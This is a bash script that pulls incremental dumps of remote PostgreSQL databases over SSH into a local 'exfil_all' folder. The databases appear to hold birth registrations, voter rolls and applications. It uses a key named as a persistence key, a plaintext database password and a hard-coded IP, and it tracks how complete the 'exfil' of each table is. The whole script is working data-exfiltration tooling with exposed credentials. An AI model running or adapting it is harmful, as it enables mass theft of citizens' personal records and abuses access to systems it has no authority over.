#!/bin/bash
# L19: Incremental updates for all stale DBs
set -u
BASE=/root/ir-assessment/redteam/gitlab_npontutechnologies_com

echo "=== INCREMENTAL UPDATES ==="

# 1. bdr_unified late_birth (+6,985)
echo ""
echo "--- bdr_unified late_birth ---"
ssh -i /root/.ssh/npontu_persist_20260817 -p 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no pontian@65.109.51.221 \
  "export PGPASSWORD='RpS1AOk6Y6mYlMtFGh_tSxUfuU'; psql -h 65.109.51.221 -p 5542 -U rep_listener -d bdr_unified -c \"COPY (SELECT * FROM late_birth_registrations WHERE id > 11699038 ORDER BY id) TO STDOUT WITH CSV HEADER\" 2>/dev/null" \
  | gzip -1 > "$BASE/exfil_all/pg_bdr_unified/late_birth_incremental_20260831.csv.gz"
[ -s "$BASE/exfil_all/pg_bdr_unified/late_birth_incremental_20260831.csv.gz" ] && echo "[OK] late_birth $(zcat $BASE/exfil_all/pg_bdr_unified/late_birth_incremental_20260831.csv.gz | wc -l) rows" || echo "[FAIL] late_birth"

# 2. bdr_unified early_birth (+4,792)
echo ""
echo "--- bdr_unified early_birth ---"
ssh -i /root/.ssh/npontu_persist_20260817 -p 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no pontian@65.109.51.221 \
  "export PGPASSWORD='RpS1AOk6Y6mYlMtFGh_tSxUfuU'; psql -h 65.109.51.221 -p 5542 -U rep_listener -d bdr_unified -c \"COPY (SELECT * FROM early_birth_registrations WHERE id > 2995141 ORDER BY id) TO STDOUT WITH CSV HEADER\" 2>/dev/null" \
  | gzip -1 > "$BASE/exfil_all/pg_bdr_unified/early_birth_incremental_20260831.csv.gz"
[ -s "$BASE/exfil_all/pg_bdr_unified/early_birth_incremental_20260831.csv.gz" ] && echo "[OK] early_birth $(zcat $BASE/exfil_all/pg_bdr_unified/early_birth_incremental_20260831.csv.gz | wc -l) rows" || echo "[FAIL] early_birth"

# 3. votersdb — check for deleted rows (id gap)
echo ""
echo "--- votersdb voters (id gap check) ---"
# Exfil max was 18685952, live max is 18685782 — 170 DELETED
# We don't need to update (deletions don't add data), but document
echo "votersdb: live max (18685782) < exfil max (18685952) = 170 deleted rows"
echo "No update needed (deletions, not additions)"

# 4. tottot_npontu applications (unknown exfil count)
echo ""
echo "--- tottot_npontu applications ---"
# Check exfil count first
echo "Checking exfil count..."
if [ -f "$BASE/exfil_all/pg_tottot_npontu/applications.csv.gz" ]; then
  exfil_count=$(zcat "$BASE/exfil_all/pg_tottot_npontu/applications.csv.gz" | wc -l)
  echo "Exfil count: $exfil_count"
  if [ "$exfil_count" -lt 4749 ]; then
    echo "STALE — updating..."
    ssh -i /root/.ssh/npontu_persist_20260817 -p 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no pontian@65.109.51.221 \
      "export PGPASSWORD='RpS1AOk6Y6mYlMtFGh_tSxUfuU'; psql -h 65.109.51.221 -p 5542 -U rep_listener -d tottot_npontu -c \"COPY (SELECT * FROM applications WHERE id > $exfil_count ORDER BY id) TO STDOUT WITH CSV HEADER\" 2>/dev/null" \
      | gzip -1 > "$BASE/exfil_all/pg_tottot_npontu/applications_incremental_20260831.csv.gz"
    [ -s "$BASE/exfil_all/pg_tottot_npontu/applications_incremental_20260831.csv.gz" ] && echo "[OK] tottot $(zcat $BASE/exfil_all/pg_tottot_npontu/applications_incremental_20260831.csv.gz | wc -l) rows" || echo "[FAIL] tottot"
  else
    echo "CURRENT (exfil >= live)"
  fi
else
  echo "No exfil found — full dump needed"
fi

echo ""
echo "=== UPDATE COMPLETE ==="
# Update manifests
for d in pg_bdr_unified pg_tottot_npontu; do
  if [ -d "$BASE/exfil_all/$d" ]; then
    sha256sum "$BASE/exfil_all/$d"/*.gz > "$BASE/exfil_all/$d/MANIFEST.sha256" 2>/dev/null
    echo "manifest updated: $d"
  fi
done